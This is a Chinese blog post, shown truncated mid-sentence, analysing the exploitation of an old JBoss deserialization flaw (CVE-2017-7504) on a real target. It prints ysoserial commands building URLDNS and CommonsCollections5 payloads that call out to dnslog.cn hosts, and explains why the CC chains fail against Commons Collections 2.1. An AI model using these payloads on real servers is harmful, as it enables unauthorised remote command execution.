一次老版本jboss反序列化漏洞的利用分析

本文针对老版本Jboss存在的反序列化漏洞,详细介绍了如何利用改进的Hibernate1链实现远程命令执行的过程。

1、前沿

在一次活动中意外发现目标一个偏远的资产使用了老版本的jboss,使用漏洞扫描工具发现目标存在反序列化漏洞组件,如图1.1所示。这个页面允许访问,基本上可以判断CVE-2017-7504的漏洞。

图1.1 Jboss反序列化漏洞利用点

此漏洞的细节很简单,就是直接通过POST的方式向这个地址传输序列化之后的payload即可。为了方便,我们直接使用ysoserial来生成payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://11.pzpfiy.dnslog.cn" > poc.ser

然后通过burp把生成的poc.ser发送给目标地址,如图1.2所示。

图1.2 发送序列化的payload

查看DNSLOG的请求日志,可以看到payload利用成果,记录到dns请求日志,如图1.3所示。

看起来一切都很正常,如果事情就这么简单的进行,也就没有写一篇文章的必要了。上面的payload只能记录dns请求,并不能执行系统命令。要执行系统命令,需要使用其他的利用链。网上有很多关于这个漏洞的exp和分析文章,基本上都是说的直接利用CommonsCollections利用链就可以成功了。

但是,实际情况是我把CC1-CC7都试了一遍,但是没有一条链可以利用成功。我们以网上文章中用的最多的CC5为例来说明整个过程。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "ping -n 1 22.pzpfiy.dnslog.cn" > poc.ser

然后与上面URLDNS利用链一样,发送生成的payload,结果是没有收到ping发送的dns请求,相当于命令没有执行成功。

难道说CommonsCollections包不是jboss默认就引用的吗?难道说低版本的jboss有一些奇怪的特性吗?

2、探索

怀着对漏洞探索的精神,从网上找了很久找到一个与目标相同版本的漏洞环境。通过一定的手段拿到了我想要的源码。查看jboss对应的目录结构,发现确实是存在默认引用的CommonsCollections包,如图2.1所示。

图2.1 Jboss中存在的CommonsCollections包

但是用ysoserial来测试发现仍然不能测试成功,最后发现低版本的jboss引用的CommonCollections不是3.x的版本,而是2.x的版本。如图2.2所示。

图2.2 对比jboss和yso中的CommonCollections版本

这里可以看出jboss中引入的是CommonsCollections2.1的版本,而一般我们平时能利用的版本都是3.x。而2.1的版本中因为缺少一些CC链必须的组件而不能利用,如图2.3所示。

图2.3 CommonsCollections2.1包中缺少必要的functors相关类

那么还有没有其他利用链可以被利用的呢?接下来需要对比ysoserial提供的全部利用链和jboss中引入的jar包来看。

第一个我看到的是JBossInterceptors1利用链,从名字来看这条利用链是专门的jboss相关利用链,但是实际上在我们的环境中根本就没有找到这条链要用到的interceptor包中的类例如DefaultInvocationContextFactory,如图2.4所示。所以这

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值